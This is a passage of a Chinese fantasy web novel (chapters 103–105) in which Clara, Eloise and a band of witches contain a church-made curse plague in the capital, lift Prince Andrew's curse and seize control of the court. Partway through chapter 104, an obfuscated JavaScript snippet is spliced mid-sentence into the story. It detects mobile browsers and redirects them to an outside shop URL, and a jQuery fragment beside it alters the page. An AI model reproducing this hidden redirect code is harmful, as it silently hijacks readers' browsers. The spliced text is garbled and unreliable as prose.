对他莫名的兴奋感到不解,艾洛薇瞥他一眼,“我的情报网你暂时可以随意使用,不要对任何教会的人手下留情,能杀死立刻杀死。” 她向来奉行敌人能杀就杀,以免后患。 米凯就是欣赏她这一点,可惜是个女人,他有些惋惜,若是男人在她这个年龄早就在王都崭露头角了,哪像现在还要伪装成不谙世事的公爵小姐。 离开王宫后,她收到了眼线的情报,没有任何人目睹信使是怎么进入王都的,毕竟那副模样实在引人瞩目,他就像凭空出现在公爵府那一带。 前往教会试探的几位贵女,得到的消息都是阿方索不在王都,回归时间未知,同样无人知晓这位大主教何时消失不见。 王都贫民区那边出现了部分与信使相同的病症,没有引起太大的波动,暂时也没有大规模扩散。 眼线回想尸体的惨状,即使过去了一天,他仍觉得毛骨悚然。应艾洛薇的要求,那些浮在下水道的尸首全都已经焚烧处理。 “辛苦了。”艾洛薇的声音听不出喜怒,她深深注视着这些一无所知,以为自己活在幸福之中的王都人,“继续跟踪教会,不要和黑巫师对上。” 下属领命离开前,注意到前两天还带着手链的艾洛薇手腕上空无一物。那枚珠子据说是玛丽王后送给艾洛薇的礼物,可惜她很少佩戴。 艾洛薇回府后,府上气氛很微妙。若是在以往她定能迅速察觉,但这几天连轴转,让她的敏锐性降低了不少。 一路上女仆欲言又止,艾洛薇不太想应付她们,只想休息几小时后离开王都。 直到她于二楼大厅见到了不该出现在王都的人,她可算明白为什么府上气氛这么凝固,原本还以为是信使死亡的阴影。 “艾洛薇,你回来了。” 她的二姐和母亲坐在沙发上,享用着茶点,一众女仆垂首立在她们身后,看样子是被狠狠教训过了。 母亲的眼神里饱含愤怒、怨恨多种情绪,而端着茶的二姐很平静。 “若不是我接到母亲的信,简直不相信你会做出这种事情——” 艾洛薇抬手打断她,“我没兴趣和你讨论这些,我接下来忙得很,需要抓紧时间休息片刻。你要将母亲带走立刻带走,晚了王都就不安全了。” 二姐重重放下茶杯 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侍卫团团将她们围住,而她们身后的女仆也不再像最初那样温顺,以不容拒绝地语气邀请两位女士进入卧房。 “艾洛薇!你是个怪物!怪物!当初我就应该将你掐死!”公爵夫人目眦欲裂,原以为二女儿的到来,可以救她离开这座牢笼,没想到不过是自投罗网。 被夫人如此叫骂,其他人都面色有些微妙,偷觑着公爵府真正话事人的脸色。 但艾洛薇面不改色,这些话早已听过无数次,从小到大。她微张嘴:“母亲,我不是怪物,您才是。” “将夫人和二小姐隔开,去问出二小姐丈夫的位置,将他处理了。若是国王骑士又来,拦住他们。一切等我休息够了再说。” 命令完下属后,艾洛薇回到房间,因为头疼,她轻揉太阳穴缓解,察觉自己似乎有些低热。 她没有多想,嘱咐女仆晚餐前唤醒自己,仍由自己陷入了深眠之中。 这一觉睡了很长时间,艾洛薇醒来后,一时分不清白天和黑夜,身体和头脑都昏昏沉沉。 在这种半昏半明的环境之中,巨大的孤独感裹挟着她。 直到她视野范围里出现了一张熟悉又陌生的脸,“小姐,艾洛薇小姐醒来了。” “嗯。” 下一刻,微凉的手搭在她的额头上,所有的负面情绪都被驱散,艾洛薇笑了,“克劳拉,不要随便跑到别人的梦里来。” 克劳拉沉默,手往下想要狠狠掐了艾洛薇的脸颊,真动作时,还是收了几分力气,“看来还没有完全醒,人都傻了。” 轻微的触感,让艾洛薇清醒了,克劳拉真的在她的房间,她怔愣地想要起身,却被压住肩膀制止了。 “躺着,你被感染了。”克劳拉的语气平常得就像是在说天气真好一般。 担心艾洛薇害怕,克劳拉补充道:“喂你喝过药了。你戒心真强,费了一番劲。” 也不知道艾洛薇到底经历过什么,连陷入昏迷都带有这么强的警惕心。 安娜根本喂不进药,还得克劳拉亲自来,手臂上还留了一圈新鲜的牙印,目前已经消了。 也不知道南边的塔看到这圈牙印会怎么想。 看艾洛薇状况还算好,克劳拉简单地将现下的情况告诉她。 艾洛薇这才知道从她睡下到现在已经过去了三天,她昏迷了整整三天。克劳拉今天凌晨才到王都,听闻她昏迷,其他没管直奔公爵府而来。 “安德鲁呢?”艾洛薇下意识问,三天没管王宫,也不知道那边情况如何。 克劳拉反问,“安德鲁怎么了?” 她才刚回王都,对整个王都情况并不了解。等待艾洛薇醒来这一段时间,也仅仅将两位受伤的女巫找回,得知阿方索被教会囚禁,但暂时没有危险,因为阿方索是适格的容器。 不过王都的情况不容乐观,这种疫病潜伏期只有一到三天,克劳拉进入王都时,已经出现大规模感染。 不过骑士们和姐妹会赶路这么久,都需要休息。克劳拉可不想拿自己人的性命去填,让他们先去伯爵府休息。 “听我说克劳拉,”艾洛薇头脑虽然还有些昏沉,但忍住身体不适,将她的猜想告知克劳拉。 教会想要拥有一支黑巫师军团,为此他们不惜大规模使用这种诅咒,强行催化大批普通人变为黑巫师,以寻找一个稳定转化的方法。 而失败的人会出现和疫病相似的症状,最终因为容纳不了魔气死亡,教会在借由疫病掩饰他们的罪行。 “我知道了。”克劳拉还是很平淡,因为在古斯塔出现症状不是疫病而是诅咒时,拉她就隐隐有预感了。 女巫的调查让她基本确信了这件事。 “所以安德鲁如今也被诅咒了?” 很少看到艾洛薇这么虚弱,克劳拉让她好好休息,她去一趟王宫。 “说起来,我来时,公爵府外面围了一大圈骑兵,为首的是几个国王骑士,我顺手把他们解决了。” “对了,我还看到公爵夫人在你房间。” 艾洛薇这才勉强回忆起几天前二姐所说的话,“谢谢,替我解决了些小麻烦。至于母亲大概在确认我死没死吧,不用管她。” 艾洛薇语气无所谓,克劳拉在她就放心修养几天,只有克劳拉能让她这么信任,男人没一个靠谱的。 公爵夫人神色很奇怪,各种复杂的情绪杂糅在她身上,但绝不是想要伤害艾洛薇。这一点克劳拉可以确信。 不过艾洛薇不想谈这些,也没有时间谈这些,克劳拉咽下了未尽之语。 她留了两位女巫在公爵府,带着安娜离开。 安娜有些担忧她的状况,克劳拉也一直没怎么休息,待会又要进入王宫。 “等结束了自然可以休息,艾洛薇很着急。”很着急确认安德鲁的安危,直到听到她说会去一趟王宫才稍稍放心。 教会又在广场搭设了布施的帐篷,众多臣民如救命稻草般挤在周围,人群里甚至能看到带有初期症状的病患。 克劳拉骑着马在帐篷附近驻足,她身后有穿戴铠甲的骑士,更多的是黑袍笼罩,在外人看来不明身份可疑人物。 这种奇怪的队伍组合引来了臣民的瞩目,布施的神父和修女一眼就能看到。 神父神色巨变,立刻放下手中的动作,消失在帐篷间。 教会很快就会得到她回来的消息,克劳拉有些期待他们打算如何应对。 她不再关注人潮,一挥手臂,“出发,进宫。” 104. 第104章 进宫时,克劳拉没有遇到任何阻拦,无他,克劳拉实在太显眼了,宫中没有人不认识这位准王子妃。 狮鹫骑士试图拦下她们,询问黑袍人的身份,毕竟那群黑巫师也是这么穿着。 被以前的同僚,现在的雪鸮骑士搭肩拦下,“别多问,只能告诉你是女巫,比黑巫师还不好惹。” 狮鹫骑士多嘴想和同僚叙叙旧,但准王子妃殿下凌厉的目光投过来,“带路,去安德鲁那。” 克劳拉的身高甚至比部分狮鹫骑士都高,仅仅是站在队伍最前列,就带给这些狮鹫骑士隐隐压迫感。 她特意让狮鹫骑士挑选了穿过议政厅的路,面对部分大臣“女人不能进入这里”的废话,不屑一顾。 这里以后不会只有一个女人,他们迟早要习惯的。 上楼时,克劳拉与瓦兰许侯爵擦肩而过。后者微怔,停在台阶处,再回首时只看到一片铠甲的银光,无法望见最前列的身影。 “瓦兰许侯爵?”克劳拉走出了一段路才想起他的身份,身后的狮鹫骑士如邀功般将最近几天这位侯爵的所有所为全盘托出。 掌握国玺的想法落空后,瓦兰许侯爵和他的爪牙一直在文书上弄小动作,明明不需要国玺确认的文书,全都塞到掌玺人手中。 还在多次试探想要见到安德鲁,并派来多位医者声称为王子治疗。 “所以你们并不知道王都目前什么情况?”克劳拉忽然问道,听这些狮鹫骑士完全没有提到王都疫病,他们似乎完全不知晓的模样。 果然,这些骑士像呆头鹅一般,问:“王都什么情况?教会又做了什么吗?” 看来瓦兰许将消息封锁了,至少对王室封锁,若是安德鲁安然无恙,温斯顿在王城,这种事情绝不会发生。 “既然目前掌玺人另有其他人,让他来见我,就在安德鲁宫内会客室。”克劳拉的语气不容置喙,径直推开安德鲁寝宫大门。 室内守卫倒是警惕,看样子不是狮鹫骑士,克劳拉确认了一下铠甲的浮雕,是直属军,巴特以往的下属。 按照惯例,这些守卫要对进入的人进行盘查,确认对王子殿下无害。尽管是克劳拉带来的人,他们还是对这些黑袍人抱有警惕。 几位女巫没有过多为难他们,摘下了兜帽,她们看上去和普通女性没什么两样,但眼神和气质又不尽相同。 这些直属军还是犹豫,因为这种超人类的手段,他们防不胜防。 克劳拉知道他们的担忧,直言道:“我没有立场伤害安德鲁,况且我能为他解除第一次诅咒,就能解除第二次。若是不放心,你们可以一同进去,在旁边守着。” 狮鹫骑士长与直属军小声商议着让她们通行,他是安德鲁的亲信,能证明第一次解咒却有其事。 片刻后,直属军让开两步,为克劳拉打开了大门。 安德鲁的卧房意外的很简洁,除了书必要的家具,也就只有几把椅子点缀在房间,而且相当昏暗,窗帘紧紧拉着。 这种环境怎么看都不适合养病,克劳拉指挥骑士去将窗帘窗户都打开。光瞬间涌进房间,带着几缕风。 也让克劳拉看清了安德鲁如今的模样,倒是没有疫病晚期的情况那么可怖,但还是挺考验人的勇气的。 女巫们已经小声地讨论起来,先用基础药水试探性地沾了沾,效果微乎其微。 见她们神色不算轻松,克劳拉心中一凝,“情况很严重吗?” 年长些的女巫为克劳拉解答:“这位殿下身上多重诅咒交织在一起,部分诅咒能够即刻解除,但有几个我们还需要确认一番。” 教会的诅咒应该也不会那么容易解决,克劳拉也有预期,只让她们尽力而为,最好能让安德鲁长时间保持清醒和理智。 “阁下,”女巫有些犹豫该不该询问,但解除诅咒必须要对情况有所了解,“达索琳大巫曾说过,最初那道诅咒已经解除。但我们刚刚观察,并没有全然消除,或许您知晓诅咒复发的原因?” 最初那道诅咒也就是安娜和艾洛薇合作对安德鲁下的那道,克劳拉并不知道复发的原因,但艾洛薇绝对知道。 “原因很重要吗?” “阁下大概不知道,诅咒本质上来说可以理解为一种欲望,相当于将欲望变成了实质。如果想要彻底祛除,就要弄清楚根源。”女巫语速很慢,尽量让克劳拉和骑士理解她的意思。 而她接下来所说的话,让所有人脸色为之一变。 她说:“并且,我在殿下的诅咒里,感受到一股非常强烈的欲望——夺走这具身体!这也是他一直出于昏迷的原因,他在和某种意识争夺这具身体。” 女巫的话太惊世骇俗,众人久久都无法回神。 通常来说人类很难理解自己认知以外的事物。对于这些几乎没有接触过超自然现象的骑士和侍卫们,他们唯一能想到的只有恶魔——恶魔想要获得他们殿下的身躯。 而克劳拉则联想到,守卫阿方索的女巫曾提到,阿方索是容器,安德鲁会不会也是容器之一? 也就是说阿方索极有可能在未来也会经历安德鲁如今经历的这些。 成为容器的条件是什么?又是谁想要进入到容器里?还会不会有其他的容器? 女巫需要时间解咒,而新的代掌玺人已经在外厅等待克劳拉。 她没有过多纠结容器的事,回头把教会的人抓起来打几顿,迟早会知道。 现在还有另一件很重要的事——王都的疫病不能再放任下去了,必须严格管控直到疫病得到控制为止。 这位掌玺人似乎很眼熟,克劳拉回忆了半天也没记起他是谁,直到她的雪鸮骑士惊呼:“什么!米凯居然是王弟!” 他太过于震惊,以至于忘记了该有的礼仪,在克劳拉望过来前,立刻闭紧了嘴,眼神还是掩饰不住的惊讶。 身旁的前同僚用眼神表示:兄弟,我懂你。他们刚知道的时候也是这幅模样,以为大家都是小贵族,谁也不会瞧不起谁,结果其中隐藏了一位王室成员。 米凯,克劳拉终于回忆起了这个名字,几年前她在艾洛薇身边和这位自由骑士有过一面之缘。 只是当时的他实在有些胡须粗犷,看不出面容,眼睛也不是古斯塔家标志性的灰眸。 “德文希家的小姐,好久不见。”米凯倒没觉得要来面见一个女人是件冒犯的事,他巴不得来个人替他解决这一堆烂摊子,而他找个安全的地方待着。 在正式交谈前,米凯问了一嘴外面的情况,“王都应该陆陆续续也有疫病出现了吧,大小姐这两天肯定忙坏了。” “你不知道艾洛薇也染病了?”克劳拉简直要被这些无能的男士们蠢笑了,这是他们男人掌控的王都,却各个理所当然地认为艾洛薇应该在外面为他们奔走。 “嗯?我不知道!没人告诉我!”米凯正色,他被一堆要事缠着,还要和奸臣周旋,难道还要指望他一个流浪十多年的骑士真的用心管理王都。 米凯将目光转向不远处的骑士长,而后者则傻愣愣地问:“艾洛薇小姐生什么病了?王都出什么事了吗?我一直在照顾殿下……” “开什么玩笑?王都城门口戒严有一段时间了,你作为狮鹫骑士长,难道不清楚殿下为什么要求戒严?”米凯不留情面地拆穿他。 骑士长确实知道似乎是某种可怕的疫病,让王子殿下相当重视,甚至温斯顿公爵也因此离开王都。 但他从未见过任何患者,接连戒严一段时间后自然而然也就放松了。不止是他,参与戒严的所有守卫都是如此。 “够了!”克劳拉不想听他们这些推诿责任的说法,事实就是王宫被教会捂住眼耳,仍由王城以及整个帝国乱成一团。 “国玺交给我,现在立刻马上让几位将军来见我!” 还有莫名在这个时间截点消失的霍恩·温斯顿,克劳拉目光沉沉扫过在场所有人,“谁能告诉我,霍恩·温斯顿在哪?” 米凯如扔掉烫手山芋般,飞快把国玺放到克劳拉手中,狮鹫骑士长未说出口的话语,又吞了回去。 憋了半天,他说:“诺兰郡出事,公爵阁下去逮逃离领地的代管者,后续大抵会回诺兰郡直到事情解决。” “所以你们并不知道诺兰郡出了什么事?”克劳拉随意把玩着国玺,这是一个铜制的圆盘,不过她的巴掌大,却代表着无上的权力。 骑士长支吾着说不出话,米凯立刻开口嘲讽:“看来你还是知道一些的。” 克劳拉不再理会他们的争吵,在等待几位将军的时间里,从繁琐的文书里迅速获取她想要的情报。 瓦兰许不愧是文官之首,他的文书乍一看写得相当漂亮,王都各项事宜都有罗列,但细心一看全是废话。 而这些废话足够糊弄住米凯和狮鹫骑士这些空有武力,没多少脑子的家伙。 “艾林·瓦兰许这些日子都在哪?”克劳拉只是无意间想到了艾林,好歹是这位瓦兰许侯爵之子,看侯爵几年前的动作也有让艾林继承他位置的想法。 这个问题骑士长终于能清楚地作答,“艾林侍卫官前些日子回侯爵府,说是生病了……” 说着骑士长自己都语气微弱,哪有这么巧在这个时候生病。 艾林?生病? 目前王宫中没有疫病发生,说明这些大臣和官员从王宫回府邸的路上应当接触不到传染源。常驻宫中的艾林反而生病了,实在是过于微妙了。 等等!克劳拉忽然有一个荒谬的猜想,这个想法过于大胆,惊得她猛地站起身—— 安德鲁、阿方索、艾林这三个在外人看来没有任何共同之处。 但克劳拉却知道,他们几个都是原剧情里有头有脸的重要人物,如果是这样,那还包括霍恩·温斯顿和伊登。 他们都是容器? “出什么事了吗?”骑士长被她的动作吓得一激灵,迅速出声询问。 但克劳拉没有回答他,而是高呼安娜,后者不多时出现在她身边。 克劳拉在纸上奋笔疾书,甚至来不及寻找信封,直接叠好后用蜡印简单封一下, “安娜!立刻送到伊登手里,若是赫利斯在他身边,优先交给赫利斯。” 听她的语气,安娜明白这张薄薄的信纸重之又重,“我会很快回来。” “不用那么着急。”克劳拉摸了摸她的头,让她不要那么严肃,“转告伊登,让他留住霍恩·温斯顿,两人暂时都不要回王都。” 等安娜离开后,克劳拉才注意到米凯饶有兴趣地看着她们,无所事事地模样。 克劳拉最见不得她忙得脚不沾地时,别人这么轻松,她已经在脑中想了无数个未来磋磨米凯的方案。 “你靠什么掌控这些女巫们?”米凯很好奇,这些女巫听从克劳拉的安排,又不全然敬畏她,难道也像他一样利益驱使? “我们不是所谓掌控这种冰冷的关系。利益也不尽然,或许说是为了共同的目标。” 克劳拉不想过多解释什么。男人似乎很难理解女人之间那种为了某种相同的目标或是喜好相生相伴的情谊。 这种感情远比爱情来得纯粹,爱情最终会像亲情一般转化为血缘关系,但友情永远不会,不需要血缘联系。 男人们只会用刻板的印象误会她们之间是纯粹的利益或是雌竞关系。 “将军们到了。”骑士扣响了会客厅的门。 克劳拉将这些毫无意义的文书扫到一旁,扬声道:“让他们进来。” 三天后,安德鲁终于转醒,他还未睁开眼,鼻尖萦绕着的花香让他有些恍惚。 睁眼望去,女官正在为他床头换上新采的月季。 干涸的喉咙无法发声,但安德鲁来不及思索那些,他的注意力被床顶上巨大的魔法阵吸引。 在那个雨夜,他见到过类似的法阵,不同的事,这个法阵带有一种难以言喻的温暖气息,就像是在玛丽的怀中。 “殿下!您终于醒了!克劳拉小姐!殿下醒来了!” 半刻钟后,安德鲁半靠在床头,女官为他端来温热的蔬菜粥和清水。 克劳拉搬了椅子坐在床边,一直有骑士和侍卫进出,与她交谈又很快离去。 很快她让女官将房门合上,命其他人在外稍作等待。 等房间逐渐安静后,她才松口气,往后靠在椅子上,道:“你房间实在太简陋了,没忍住给你加了些花瓶摆花。” 安德鲁摇头表示不介意,几天未曾开口,他的声音有些沙哑,“你又替我解除了诅咒?这次我该怎么感谢你?” “不是我,是女巫们。”克劳拉没有居功,她不久前刚得知安德鲁诅咒复发的原因,心情有些复杂, “女巫强调你绝不能再使用那份力量了,下一次的代价很可能会是你的生命。” 安德鲁喉结微动,似乎想说些什么,最终还是垂下眼一言不发,克劳拉也不知道他将这句警告听进去了吗。 能够读取他人的心声确实是强大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659111|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且具有诱惑性的能力,尤其是对于年轻的王储来说,这是他分辨周围人的最佳手段。 但过于依赖这份能力,只会让他失去基本的判断力,也会承担超乎常人想象的痛苦。 哪怕诅咒已经解开,安德鲁的容貌还是没有完全恢复,取而代之的是一些无法祛除的疤痕。也不知道安德鲁是否也曾后悔。 两人暂时略过了这个话题,克劳拉将王都最近的情况简洁明了地告知给安德鲁。 教会的布施帐篷,被克劳拉派人强拆了,顺带抢走了他们未发放完的粮食。 神父们痛斥这种强盗行径,但领头的雪鸮骑士们置之不理。 臣民们除非必须要外出工作的一律不允许到处走动。整个王都上城区被大规模清洗消毒,连流浪汉都被赶进了帐篷里,强制洗刷干净。 直属军的效率很高,两天之类就将克劳拉分配的任务完成了大半。虽然引来了众多诟病,但克劳拉以一己之力全部抗下。 姐妹会的临时医院再度开起来,因为人手急缺,克劳拉还关停了几家纺织厂,让女工们帮忙打下手,她开出远高于纺织的薪水。 艾洛薇的女员工们也成为了医院的助手。 部分医者起初还不愿意和一群女人共事,不久后发现有他们没他们,姐妹会成员都能照顾好病人,甚至比他们更利索。 出于医者的骄傲,大多数医者也沉浸在治疗病人之中。 外面的辱骂和不理解都没能影响克劳拉,连那些叫嚣着她是魔女要烧死她的贵族都被她通通关起来,以免他们到处乱跑惹麻烦。 女巫们确保安德鲁情况稳定后,和骑士们连夜端了教会的黑巫师,撞上了即将被转移的阿方索和艾林,立刻将他们救了下来。 克劳拉对容器的猜测被隐隐印证,只是她有些想不通,总不能是教会也获得那位世界意识的指引吧。 因为艾洛薇在一周前已经对黑巫师们造成了致命的打击,残留的黑巫师并不多。 还发现了一批才刚刚成为黑巫师的新手,数量寥寥无几,也印证了艾洛薇的猜想。 克劳拉的动作堪称雷厉风行,短短三天,王都上城区恢复了明面上的秩序。 下城区情况更复杂些,臣民也更狡猾不服管,骑士们尝试强制管理,半夜差点被一把火烧毁营地,且食物基本被洗劫一空。 克劳拉心想着或许需要动用更多的力量,也或许艾洛薇会有办法,只等艾洛薇情况彻底恢复,安娜回来后,她再亲自去一趟下城区。 她才不在乎古斯塔一世回来后会不会被责罚,只想好好整顿乌烟瘴气的王都。 安德鲁久久沉默不语,他起初还认为克劳拉无法解决这场危机,但听完后,他觉得自己都未必能做到这个程度。 良久他说:“辛苦你了。” “国王的私印在你这吧,去找财政大臣取点钱,对方说什么都要私印才肯拿钱,这些日子都是我和艾洛薇在贴钱——如果国库发不出,要打欠条。” 克劳拉完全不谈感情,张口就是要钱。 “国库确实,不太富裕……”还负了很多债,古斯塔一世一旦负债过多,就会想办法把那位贵族送上战场,所以王都的贵族都是有钱即刻花完,说不定也各个负债。 古斯塔找不到贵族要钱,只好向教会银行要,教会是国王最大的债主。 克劳拉:…… 成为国王就要负债,哪有这种事?不如加冕后,想办法把艾洛薇娶回家,她的钱可不要太多。 克劳拉立刻把这种想法拍出脑门,她可不能像那些个软饭男一样。 总之不如学着古斯塔,先把目前帝国最大的债主消灭了,钱还可以再赚。 她的表情实在恐怖,安德鲁立刻改口,“不过,也快到税收的时候了,到时候的钱你想怎么用就怎么用。” 克劳拉的表情更可怕了,今年帝国乱成这个样子,春收的税都没收上来多少,秋天又能有多少? 古斯塔一世在南边打仗,张嘴也是要钱要粮。弗洛伦斯写信催新一批药剂,布莱尔大巫催新的草药。 克劳拉好不容易攒了些钱,因为国难,一夜回到三年前。幸好她的糖生意一直有贵族买账,涨了几次价,还是有源源不断的订单送来。 果然还是去抢劫教会吧。反正这国难有一部分原因是他们搞出来的,为此买单很正常。 克劳拉一旦下定决心,行动力高得可怕,让安德鲁好好休息。她当机立断去找阿方索,准备掏空索滋帝国的辖区教会。 下楼时,她撞上了内阁大臣们。最近这些家伙被她带兵围了几次府邸,各个安分得很。 起初他们想在文书上搞些小动作,也被克劳拉立刻看出来,当着他们的面绑来了一位晚期患者。 “要么,你们老实办公,我也不针对你们。要么,现在就被感染,滚回家中养病。” 当时大臣们死得脸色铁青,又拿出古斯塔一世试图压迫她。 “陛下能不能回来,侯爵阁下比我们更清楚。怎么样,诸位,是办公还是养病?” “疯子、恶魔、难怪教会想要处置你!” 不需要克劳拉多说,雪鸮骑士已经堵住这位大臣的嘴,狠狠收拾了他。按着他的脸往患者上贴,被堵住嘴的大臣发出了普通杀猪般的哼鸣。 连见过大世面的狮鹫骑士们都不忍直视,脊背发凉。 “够了!我们会认真办公,绝不会再耍手段。”豆大的汗珠从瓦兰许额角滑下,这两天他没有收到任何教会那边的来信,也因为如此,他暗中祈祷古斯塔一世还能回王都。 克劳拉马上挥手让她的骑士放开大臣,又给他灌下一瓶药水,“诚惠100金,骑士会去您府上取。早这么说不就好了,不要被我发现你们的小手段,不然下次不会这么简单。” 那位患者也当场喂了一瓶药水,不多时他的症状出现了明显的缓解,大臣们纷纷松了口气。 这两天他们不仅做事效率极高,还明里暗里询问骑士们买卖药水的事。 在楼梯间遇到克劳拉,大臣们诚惶诚恐向她行礼。 看在他们还算听话的份上,克劳拉没有过多为难他们,脸上还带着淡淡的微笑:“去见安德鲁吗?他才刚醒,不要用太多烦心事让他担忧。” 是威胁吧,绝对是威胁,大臣们面面相觑。直到克劳拉和骑士们消失在拐角,他们才沉重地继续往上——看来王子殿下也已经被魔女控制了。 帝国的未来堪忧啊—— 105. 第105章 教会的影响力很深,哪怕女巫们秘密将黑巫师都处理掉,阿方索还是不建议克劳拉直接将整个教会得罪。 “您还是应该为您的名声着想。教会布施是事实,而您的高压政策也是事实,不要太看轻信仰对普通民众的重要性。” 克劳拉当然知道,教会能够存在上千年,在信众心中拥有无可比拟的分量。 所以哪怕她再不喜欢教会,德林郡还是保留了教堂。 普通人生活不幸时需要一定的慰藉,否则容易走向极端犯罪的道路,信仰神明是他们释放压力的途径之一。 但稍微篡改一下神话故事还是很容易的。克劳拉已经在思索日后该让谁来修订的新版《神言》了。 话虽如此,克劳拉还是搬走了教会库存里大部分食物,余下部分让教会成员能支撑一段时间。 还强迫神父们以百金的价格购买药水,普通神职人员还是以低价。 并强制带走了一批修女修士,送去医院帮忙。 临走前,还不忘和阿方索大主教打招呼。在众人咬牙切齿的目光中,她笑着说:“既然这样,就麻烦大主教阁下为我挽回一些岌岌可危的名声了。” 阿方索没有办法,为了活命,他只能和克劳拉一条船,否则他回到圣城只有死路一条。 但他并非坐以待毙的性格,转而联系保守派的众要员。既然教皇想要拿走他这具身体,那他反过来觊觎那个位置也未尝不可。 一只渡鸦轻轻落到他身边。 下个礼拜日,阿方索在大型祷告仪式上为克劳拉的行为作解释,“教会内部出现了恶魔的爪牙,甚至伤及了王子殿下的生命。准王子妃殿下是出于担心子民们为恶魔所害……” “恶魔仍然存在于你我之中,随时可能吞噬大家的性命,我以红衣大主教之名,请求信徒们听从王室的安排,尽早将恶魔彻底驱逐出王都!愿神明常伴你我!” 这场礼拜之后,臣民配合了许多,连下城区在艾洛薇暗探们的帮助下,逐渐步上正轨。 王都情况控制得远比其他郡要好得多,短短三个月,已经得到了有效的控制。 虽然还是有近万人死亡,但比起原剧情里整个大陆死亡人数过半,损失已经减到很小了。 也幸亏伊登后续带给女巫们的白珠缓解了药材的压力。 而三个月的夜以继日,女巫们也终于研制出了最终版药剂,寻找到了能够代替白珠的药材。尽管药材同样珍贵,但依靠种植还是能够获取。 三个月里,医院骑士与姐妹会成员也一直在外奔波,四处救治病人。 期间德林郡还输送了新一批毕业生,等王都稳定后,克劳拉也派了大批医护和士兵前往帮忙。 但他们力量还是有限,帝国足足失去了近三分之一的人口。 在这种人口锐减的情况下,克劳拉明白她若是想要为女人们劈开一条路,就要费更大的劲了。 索性她不是一个人。 霍恩·温斯顿离开王都,追到临阵脱逃的代管者后,当场将他剥夺爵位,并斩杀。 叛逃者的妻儿贬为平民,温斯顿犹豫片刻,还是给她们留了足够的金钱,并将她们带回诺兰郡。 等他回到诺兰郡时,见到的却是大规模的德林军。连他领地原本的诺兰军都隐隐带被收编之势。 而罪魁祸首,他从小看着长大的伯爵,大言不惭地朝他伸手,“给钱!又帮你治病,又帮你治理,德林郡还收容了这么多你的难民,不给点资金说不过去吧!” 温斯顿活了三十多年,很少有这么吃瘪的时候。而这种情况,大都时候都是德文希兄妹造成的。 但伊登和他的下属确实控制住了诺兰郡失控的场面。甚至在这种情况下,还对领民进行了冬耕指导。 温斯顿无话可说,认命地掏钱。 一开始这钱温斯顿还有些心不甘情不愿,很快这成了他的保命财——他们遭遇了黑巫师及圣殿骑士的袭击。 “赫利斯姨妈!救救救——”伊登早已从克劳拉的来信中得知袭击,也做好了心理准备,但真被一群黑巫师包围时,他还是抄起温斯顿,就往女兵营跑。 “怎么回事?他们是谁?为什么要袭击我们。” 温斯顿公爵鲜少遇到这种奇怪的暗杀者,他们影在黑暗之中,明明手中没有任何武器,接触到他们的人几个呼吸间就会惨叫着失去抵抗能力。 赫利斯与女巫们很快赶到,黑巫师没有恋战,迅速消失在夜色之中。 伊登虚惊一场,这才想起给温斯顿解疑,“那这是圣城的黑巫师,不知道最近怎么回事数量变得特别多。若拉说他们要将我们抓去做什么容器,搞不懂为什么是我们。” “我们?”温斯顿疑惑。 “对,就是我和你。以防万一,你最好先不要前往支援陛下,而是待着我身边。” 赫利斯似笑非笑望过来,伊登迅速改口,“我是说这些美丽的女士身边。” “为什么是我们?你们怎么知道的容器?教会要做些什么?” 伊登一问三不知,问烦了就说是若拉告诉他的,他得听若拉的话,不然就会没命。 温斯顿只觉得一阵荒谬,伊登从前就满脑子只有他的妹妹,现在更是毫无理由地唯命是从。而在他看清赫利斯的容貌后这种荒谬感达到顶峰。 赫利斯在不远处和伊登说话,打量他的目光带着警惕,“我听说南人的有些贵族,就喜欢一些漂亮的小男孩……” 伊登也频频看向他,神色逐渐复杂。 温斯顿:……德文希一家果然是他的克星。 “克劳拉,如果心情不好可以休息,不要过于勉强自己。” 艾洛薇难得悠闲地在下棋,已经缓缓步入冬日,疫病在冬日也逐渐停下蔓延的脚步,让帝国有了喘息的空间。 克劳拉预估明年开春还会大规模爆发一次,不过已经拥有经验的她们,不至于像今年一样死这么多人。 外交使臣们不是申请回国,就是申请保护,看来其他国家应对不及时,情况远比索滋要糟糕得多。 “如果你们两能远离我,或者帮我一起处理文书,我想我会开心一些。”克劳拉微笑,但笑容里的哀怨快要溢出来了。 “克劳拉,你怎么能说出这么冰冷的话,或许我们应该给壁炉添些柴火。” 安德鲁轻咳一声,暂停棋局,想要替克劳拉处理一些文书。但他因为诅咒后遗症,阅读文字时大脑都会隐隐作痛,时不时需要休息。 看他们还算识相,克劳拉从鼻腔里发出哼声。艾洛薇好笑地走近,替她捏肩,“亲爱的,你那批药水分我一部分,我的商队带出去卖。” 艾洛薇所说的出去,是指出国售卖,这会可是赚钱的最佳时机,她不会跟克劳拉抢国内的市场,但在外面赚一笔何尝不是为了帝国。 “嗯……萨曼几天后就会回王都,届时你和她去谈,她会和女巫那边沟通。”克劳拉头也没抬,也没有立刻答应,这方面不是她在做主。 “药材一直很紧缺,如果你的商队能从外面弄来药材,女巫们应该会答应。” 艾洛薇若有所思,为了解除安德鲁的诅咒,女巫们已经耗费了不少珍贵药材。克劳拉虽然没有提,应该花了不少钱。 这笔钱得从国王手里掏出来!此时的艾洛薇还不知道国库空虚到何种地步。 房间内另外两人都在埋头处理要务,艾洛薇自觉无趣地站在窗边往外远望。 王宫里难得恢复平和,侍卫与女仆们不用急匆匆忙上忙下,可以放缓脚步。 现在还没有到下雪的时候,虽然冷,仍然能够看到太阳。 而冬日的阳光只有照在身上时才会感觉到丝丝暖意。如今几缕阴云逐渐朝太阳笼去。 艾洛薇的视野里突兀地出现了一枚小黑点,并且在逐步变大,她靠近落地窗想要看清楚些。 “小姐!”大门猛地被安娜推开,几位侍卫都没能拦下。 克劳拉抬头就看见安娜握着法杖对准她们的方向。 下一瞬,巨大的冲击炸开了落地窗,玻璃破碎的声音裹挟着四溅的碎片,直击每个人的面容。 